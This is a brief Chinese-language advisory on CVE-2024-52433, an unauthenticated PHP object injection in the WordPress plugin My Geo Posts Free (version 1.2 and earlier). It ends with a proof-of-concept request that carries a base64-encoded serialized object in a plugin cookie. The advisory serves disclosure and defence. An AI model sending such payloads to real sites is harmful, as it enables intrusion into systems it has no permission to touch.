CVE-2024-52433

My Geo Posts Free <= 1.2 - 未认证的PHP对象注入

描述

WordPress 的 My Geo Posts Free 插件在版本 1.2 及以下版本中，由于对不可信输入进行反序列化，存在 PHP 对象注入漏洞。这使得未认证的攻击者能够注入一个 PHP 对象。受影响的软件中不存在已知的 POP 链。如果目标系统上安装了额外的插件或主题中存在 POP 链，则攻击者可能能够删除任意文件、获取敏感数据或执行代码。

下载链接：下载 my-geo-posts-free 版本 1.2

类型: plugin
CVSS 评分: 9.8
CVSS 向量: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
CVE: CVE-2024-52433
Slug: my-geo-posts-free

POC

GET / HTTP/2
Host: wp-dev.ddev.site
Cookie: mgpf_geo_coockie=TzoyMDoiUEhQX09iamVjdF9JbmplY3Rpb24iOjA6e30=